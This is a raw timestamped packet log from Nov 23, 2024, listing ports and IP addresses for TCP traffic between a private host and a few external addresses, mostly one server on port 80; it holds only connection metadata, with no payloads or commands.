Nov 23, 2024 02:55:38.504400015 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.505944967 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.505964994 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.506009102 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.506035089 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.507833004 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.507947922 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.508277893 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.508279085 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.509721994 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.509828091 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.509860039 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.509860039 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.511671066 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.511732101 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.511795044 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.511795044 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.513530016 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.513623953 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.513664007 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.513664007 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.515456915 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.515599966 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.516017914 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.516017914 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.519355059 CET	49864	443	192.168.2.6	18.165.220.110
Nov 23, 2024 02:55:38.522104025 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.522154093 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.522206068 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.522249937 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.523073912 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.523205996 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.523322105 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.523932934 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.524977922 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.525100946 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.525129080 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.525190115 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.594377995 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.594424963 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.594470024 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.594516039 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.595129013 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.595192909 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.595302105 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.595302105 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.596301079 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.596407890 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.597269058 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.597806931 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.597821951 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.598004103 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.598004103 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.599242926 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.599374056 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.599502087 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.600749016 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.600861073 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.600958109 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.602174044 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.602289915 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.602328062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.602391958 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.603595018 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.603703976 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.603780985 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.605010986 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.605088949 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.605103970 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.605290890 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.606399059 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.606512070 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.606544971 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.606569052 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.607774019 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.607875109 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.607875109 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.607968092 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.609144926 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.609208107 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.609257936 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.609257936 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.610480070 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.610495090 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.610624075 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.611763954 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.611845970 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.611864090 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.611999989 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.613053083 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.613148928 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.613226891 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.614343882 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.614428043 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.614468098 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.615128040 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.615720034 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.615778923 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.615837097 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.616945028 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.617007971 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.617021084 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.617059946 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.618144989 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.618334055 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.618406057 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.619489908 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.619520903 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.619692087 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.620666027 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.620784998 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.620862007 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.621895075 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.622020006 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.622106075 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.623950005 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.623986006 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.624051094 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.624098063 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.628261089 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.628314972 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.628343105 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.628442049 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.628632069 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.628669977 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.628731012 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.628735065 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.628772020 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.628809929 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.628843069 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.628865004 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.628878117 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.628950119 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.629081964 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.629153013 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.629173994 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.629266024 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.630260944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.630364895 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.630507946 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.631423950 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.631546974 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.631733894 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.632572889 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.632716894 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.632860899 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.632975101 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.633728981 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.633857965 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.633865118 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.634146929 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.634918928 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.634954929 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.635086060 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.636029005 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.636084080 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.636148930 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.636148930 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.637126923 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.637250900 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.637315989 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.638257980 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.638314962 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.638380051 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.638499022 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.639384985 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.639537096 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.640011072 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.640497923 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.640551090 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.640579939 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.640613079 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.641623020 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.641736984 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.641932011 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.642755032 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.642806053 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.642864943 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.642908096 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.668842077 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.668863058 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.669070959 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.669126034 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.669249058 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.669296980 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.669436932 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.669454098 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.669471025 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.669586897 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.671021938 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.671041965 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.671087980 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.671813011 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.671962976 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.672024012 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.672617912 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.672636032 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.672688961 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.672763109 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.673278093 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.673302889 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.673319101 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.673335075 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.673382998 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.673389912 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.673389912 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.673402071 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.673418045 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.673434973 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.673475027 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.673475027 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.673943043 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.674057961 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.674072981 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.674416065 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.674768925 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.674891949 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.674985886 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.675648928 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.675719023 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.675749063 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.676048994 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.676409960 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.676542044 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.695173979 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.695235968 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.695496082 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.695609093 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.695624113 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.695636034 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.695643902 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.697952032 CET	49874	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.697978020 CET	443	49874	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.698154926 CET	49874	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.698362112 CET	49874	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.698369980 CET	443	49874	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.786658049 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.786768913 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.786781073 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.786922932 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.787065029 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.787121058 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.787201881 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.787806034 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.787935972 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.787970066 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.788024902 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.788779020 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.788815022 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.788858891 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.789518118 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.789668083 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.789766073 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.790383101 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.790505886 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.790576935 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.791260004 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.791327953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.791333914 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.791548967 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.792025089 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.792102098 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.792373896 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.792860985 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.792968035 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.793009043 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.793375969 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.793690920 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.793857098 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.794532061 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.794540882 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.794610023 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.794688940 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.795371056 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.795454979 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.796184063 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.796391010 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.796406031 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.797008038 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.797138929 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.797681093 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.797837973 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.797941923 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.798309088 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.798654079 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.798787117 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.798794031 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.799510956 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.799544096 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.799576998 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.800282001 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.800311089 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.800381899 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.800429106 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.801132917 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.801258087 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.801318884 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.801973104 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.802032948 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.802099943 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.802830935 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.802942038 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.802992105 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.803169012 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.803618908 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.803723097 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.803778887 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.804104090 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.804449081 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.804548025 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.804686069 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.805315018 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.805349112 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.805789948 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.806082964 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.806231022 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.806646109 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.806916952 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.807049036 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.807219028 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.807751894 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.807868958 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.808152914 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.808216095 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.808283091 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.808279037 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.808589935 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.808718920 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.809005022 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.809410095 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.809531927 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.810354948 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.810389042 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.810442924 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.810442924 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.811089993 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.811122894 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.811140060 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.811274052 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.811275959 CET	49860	443	192.168.2.6	13.107.246.63
